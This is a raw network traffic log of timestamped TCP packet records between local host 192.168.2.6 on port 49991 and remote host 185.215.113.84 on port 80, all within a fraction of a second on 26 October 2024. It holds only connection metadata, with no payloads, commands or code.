Oct 26, 2024 07:27:11.113770008 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.113797903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113821983 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113837957 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113864899 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.113869905 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113884926 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113888025 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.113900900 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113922119 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.113929033 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113943100 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.113943100 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.113944054 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113972902 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.113976002 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113984108 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113990068 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.113997936 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114010096 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114017963 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114026070 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114042044 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114051104 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114065886 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114068985 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114094973 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114098072 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114101887 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114147902 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114147902 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114161968 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114182949 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114186049 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114201069 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114202023 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114201069 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114228964 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114243984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114255905 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114259958 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114276886 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114284992 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114300013 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114299059 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114317894 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114339113 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114362955 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114371061 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114386082 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114408016 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114425898 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114428043 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114445925 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114449024 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114461899 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114470005 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114480972 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114480972 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114499092 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114501953 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114515066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114517927 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114531994 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114536047 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114547968 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114554882 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114567041 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114572048 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114586115 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114588976 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114604950 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114610910 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114628077 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114629030 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114643097 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114649057 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114659071 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114661932 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114681005 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114684105 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114696980 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114701033 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114717960 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114723921 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114734888 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114739895 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114773035 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114773989 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114774942 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114788055 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114811897 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114813089 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114823103 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114828110 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114844084 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114861012 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114869118 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114885092 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114885092 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114901066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114902020 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114917994 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114923954 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114932060 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114938021 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114955902 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114970922 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.114972115 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.114984989 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.115009069 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.115020990 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.115060091 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.115073919 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.115089893 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.115106106 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.115108967 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.115122080 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.115132093 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.115142107 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.115159988 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.115160942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.115183115 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.115205050 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.115474939 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.115489006 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.115504026 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.115529060 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.115555048 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.145735025 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.145766973 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.145934105 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.163427114 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.163451910 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.163465977 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.163489103 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.163503885 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.163518906 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.163629055 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.163629055 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.195627928 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.195642948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.195704937 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.195753098 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.195760965 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.195766926 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.195787907 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.195789099 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.195808887 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.195822954 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.195823908 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.195843935 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.195849895 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.195869923 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.195902109 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.196212053 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.196237087 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.196252108 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.196253061 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.196269989 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.196275949 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.196285009 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.196310997 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.196346998 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.196367979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.196382046 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.196405888 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.196419001 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.196527958 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.196552992 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.196595907 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.196645021 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.196660042 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.196676016 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.196686029 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.196698904 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.196706057 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.196717978 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.196737051 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.196741104 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.196758986 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.196779013 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.196779966 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.196798086 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.196801901 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.196810961 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.196851969 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.196866035 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.196867943 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.196883917 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.196888924 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.196902990 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.196907997 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.196923018 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.196924925 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.196939945 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.196945906 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.196963072 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.196964025 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.196979046 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.196985006 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.196995974 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197005033 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.197009087 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197022915 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.197035074 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197036982 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.197051048 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197057962 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.197067976 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197078943 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.197086096 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197098017 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.197115898 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.197129011 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.197422981 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197520971 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197535038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197550058 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197561026 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.197566986 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197587967 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.197591066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197603941 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.197607994 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197624922 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197632074 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.197638988 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197642088 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.197663069 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197664976 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.197680950 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197680950 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.197699070 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197705030 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.197714090 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.197715998 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197734118 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.197740078 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197756052 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.197758913 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197774887 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197778940 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.197798014 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.197808027 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197818041 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.197823048 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197839022 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197848082 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.197875023 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197875023 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.197907925 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197921991 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197945118 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.197951078 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197959900 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.197966099 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197981119 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.197985888 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.198029995 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.198048115 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.198117018 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.198154926 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.198211908 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.198225975 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.198240042 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.198251009 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.198256016 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.198268890 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.198272943 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.198285103 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.198295116 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.198316097 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.198390007 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.198427916 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.198472023 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.198486090 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.198498964 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.198508024 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.198519945 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.198523998 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.198539019 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.198542118 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.198554993 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.198561907 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.198581934 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.198589087 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.198662043 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.198678017 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.198693037 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.198718071 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.198741913 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.198745012 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.198760986 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.198776007 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.198796034 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.198820114 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.199574947 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.199599028 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.199623108 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.199637890 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.199651003 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.199651957 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.199660063 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.199677944 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.199690104 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.199692965 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.199707031 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.199722052 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.199728012 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.199728012 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.199738026 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.199753046 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.199754000 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.199769974 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.199779034 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.199784040 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.199806929 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.199807882 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.199824095 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.199831009 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.199841976 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.199851990 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.199856997 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.199870110 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.199875116 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.199887991 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.199898958 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200052977 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200068951 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200083971 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200093985 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200099945 CEST	80	49991	185.215.113.84	192.168.2.6
